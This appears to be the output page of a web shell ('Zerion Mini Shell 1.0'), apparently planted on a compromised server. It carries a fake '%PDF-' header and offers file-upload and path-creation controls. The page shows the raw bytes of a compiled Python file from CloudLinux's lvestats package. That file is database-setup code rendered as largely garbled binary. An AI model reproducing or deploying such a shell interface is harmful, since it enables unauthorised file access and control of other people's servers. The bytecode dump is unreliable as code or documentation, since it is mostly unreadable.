%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/lvestats/lib/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/lvestats/lib/__pycache__/dbengine.cpython-37.pyc

B

��1b$%�@sXddlmZddlmZddlZddlZddlmZmZddlm	Z	ddl
mZddlm
Z
mZddlmZdd	lmZmZdd
lmZddlmZdZd
\ZZZeeegZdZdd�Zdd�ZGdd�de�ZGdd�de�Z d1dd�Z!d2dd�Z"defdd�Z#dd �Z$d!d"�Z%d3d#d$�Z&d%d&�Z'd4d'd(�Z(d)d*�Z)d5d+d,�Z*d6d-d.�Z+d7d/d0�Z,dS)8�)�print_function)�absolute_importN)�delete�func)�	Inspector)�
_ModuleMarker)�RelationshipProperty�sessionmaker)�FormattedException)�Base�history)�LVE_STATS_2_TABLENAME_PREFIX)�alembic_migratez/var/lve/lvestats2.db)ZmysqlZ
postgresqlZsqliteZshamancCs>t�|�}t|���}dd�|D�|}tdd�t|�D��S)z^
    Checks if views exist.
    :param sqlalchemy.engine.base.Engine engine:
    :return:
    cSsh|]}t|�qS�)r
)�.0�nrr�F/opt/alt/python37/lib/python3.7/site-packages/lvestats/lib/dbengine.py�	<setcomp>%sz4find_not_existing_tables_or_views.<locals>.<setcomp>css|]}|�td�VqdS)�N)�replacer
)r�xrrr�	<genexpr>&sz4find_not_existing_tables_or_views.<locals>.<genexpr>)r�from_engine�setZget_view_names�tuple)�engine�namesZ	inspectorZexistingZnot_existingrrr�!find_not_existing_tables_or_viewss
rcCsttjj�}t|���S)zc
    Used to call engine.create_all() without views that are described as Table()
    :return:
    )�dictr�metadata�tables�list�values)r rrr� get_list_of_tables_without_views)sr#c@seZdZdS)�MakeDbExceptionN)�__name__�
__module__�__qualname__rrrrr$2sr$c@seZdZdS)�DatabaseConfigErrorN)r%r&r'rrrrr(6sr(TcCs�|�d�}|dkr$tdddid���|rJ|tkrJtd|d�t�d�d���|�d	�}|tkrv|dkrvtddd	id���|tkr�td
|�dt�}nd�||�}|S)
z�
    Extract and validate database connection uri from config
    :param dict cfg:
    :param bool check_support:
    :return str:
    �db_typeNz#"%(config_variable)s" not in configZconfig_variable)�message�contextz}Incorrect database type %(database_type)s. You should only use %(database_types)s. The correct db_type for mariadb is "mysql"z", ")Z
database_typeZdatabase_types�connect_stringz:///Zsqlite_db_pathz	{0}://{1})�getr(�SUPPORTED_DATABASES�join�SQLITE�DEFAULT_DB_PATH�format)�cfg�
check_supportr)r,Zurirrr�cfg_get_uri:s&

r5Fc
Cs�t�d�}yt||d�}WnNtk
rh}z0d}dt|�i}	|�||	�t||	d���Wdd}~XYnX|�d|d�|d	kr�d
|kr�|d
}|r�dd�}
tj	j
|d
|
d�}ntj	j
|||d�}|S)z�
    Create sqlalchemy database engine
    :param dict cfg:
    :param bool just_print:
    :param bool debug:
    :param pool_class:
    :param bool check_support:
    :return:
    Zinit_db_engine)r4z2Unable to configure database connection. %(error)s�error)r*r+NzConnecting to database: %sr)F�debugc_st|�dS)N)�print)ZsqlZmultiparamsZparamsrrr�dump�szmake_db_engine.<locals>.dumpZmock)ZstrategyZexecutor)ZechoZ	poolclass)�logging�	getLoggerr5r(�strr6r$�info�
sqlalchemyrZ
create_engine)r3Z
just_printr7Z
pool_classr4�logr,�e�msgr+r9rrrr�make_db_enginehs$
rBc	CsLt�d�}|r"d|_|�t���ddt�t�d�}t�|�}|��}x�t|j	�
��D]�\}}t|t�rjqV|j
}	|d�|	�|	|kr�dd�|�|	�D�}
t�|�}xv|jD]D}t|t�r�q�x2|jD](}
|
j|
kr�|�d||
j|�d|d	<q�Wq�WqV|�d
||	|�d|d<|d�|	�qVW|d�r4|�d
�|d	�rH|�d�|S)N�validate_databaseF)�table_error�column_error�missing_tables�
orm_tablesrGcSsg|]}|d�qS)�namer)r�crrr�
<listcomp>�sz%validate_database.<locals>.<listcomp>z?Model %s declares column %s which does not exist in database %sTrEz>Model %s declares table %s which does not exist in database %srDrFzWYou can run 'lve-create-db --create-missing-tables' command to recreate missing tables.zLYou can try to recreate malformed table, or ask CloudLinux support for help.)r:r;Z	propagateZ
addHandlerZNullHandlerr!rrZget_table_namesZ_decl_class_registry�items�
isinstancerZ
__tablename__�appendZget_columnsr>�inspect�attrsr�columns�keyZcritical)r�hide_logging�baser?�resultZdatabase_inspectionZreal_tables�_Z_class�tableZreal_columnsZmapperZcolumn_prop�columnrrrrC�sB









rCcCst|dd�}|d|dkS)NT)rRrFrG)rC)rZinspect_resultrrr�check_need_create_db�srXcCs"tjj|t�d�t|dd�dS)N)r T)Zstamp)rrZ
create_allr#r)rrrr�	create_db�srYcCs&|st|�rt|�nt||d�dS)N)Z
lve_stats_cfg)rXrYr)rZcreate_missing_tablesr3rrr�setup_db�s
rZcCstj�|�dS)N)rrZdrop_all)rrrr�drop_tables�sr[cCs�|��}|��}yzxlttjj���D]X\}}|dkr>t|�}n4t|tt	f�r`t||j
j|k�}nt||j
j|k�}|�|�q$W|�
�Wn|���YnXdS)N)ZconnectZbeginr!rrr rKrrLrrI�	server_id�execute�commitZrollback)rr\Zconn_ZtransrUZtable_objectZdelete_queryrrr�
clear_rows�s
r_cCst|�t|�dS)N)r[rY)rrrr�recreate_db�sr`cCs�|�tj��tj|k��tj��t�tj	�dk��t�
tj	�dk�}|dk	r\|�tj|k�}|dk	rt|�tj|k�}dd�|D�S)NrcSsg|]}|d�qS)rr)rZrecord_rrrrJ�sz(find_lost_keep_alive.<locals>.<listcomp>)Zqueryr�created�filterr\Zgroup_byZhavingr�max�id�min)�sessionr\�
from_timestmp�to_timestampZlost_keepaliverrr�find_lost_keep_alive�s$ric	Cs�t||||�}|sdSdd�ttjj���D�}||tjj<x&|D]}tf|�}||_|�	|�qBW|�
�|r�|�dt|�|f�dS)NcSsi|]
}d|�qS)rr)r�colrrr�
<dictcomp>�sz'fix_lost_keep_alive.<locals>.<dictcomp>z*Was fixed %s losted keep alive records: %s)
rir!rZ	__table__rP�keysr\rQra�addr^r=�len)	rfr\rgrh�log_Zlost_keep_aliveZv2_keepalive_rowZ	timestampZhistory_keepaliverrr�fix_lost_keep_alive�s

rpcCs.t|d��}t||d|||d�|��dS)N)Zbindr\)rgrhro)r	rp�close)rr3rgrhrorfrrr�fix_dbs
rr)T)FFNT)FN)N)NN)NNN)NNN)-Z
__future__rrr:Zsqlalchemy.enginer>rrZsqlalchemy.engine.reflectionrZ&sqlalchemy.ext.declarative.clsregistryrZsqlalchemy.ormrr	Zclcommon.clexceptionr
Zlvestats.ormrrr
Zlvestats.utils.dbmigratorrr1ZMYSQLZ
POSTGRESQLr0r.�
__author__rr#r$r(r5rBrCrXrYrZr[r_r`rirprrrrrr�<module>s@

	
.
&'





Zerion Mini Shell 1.0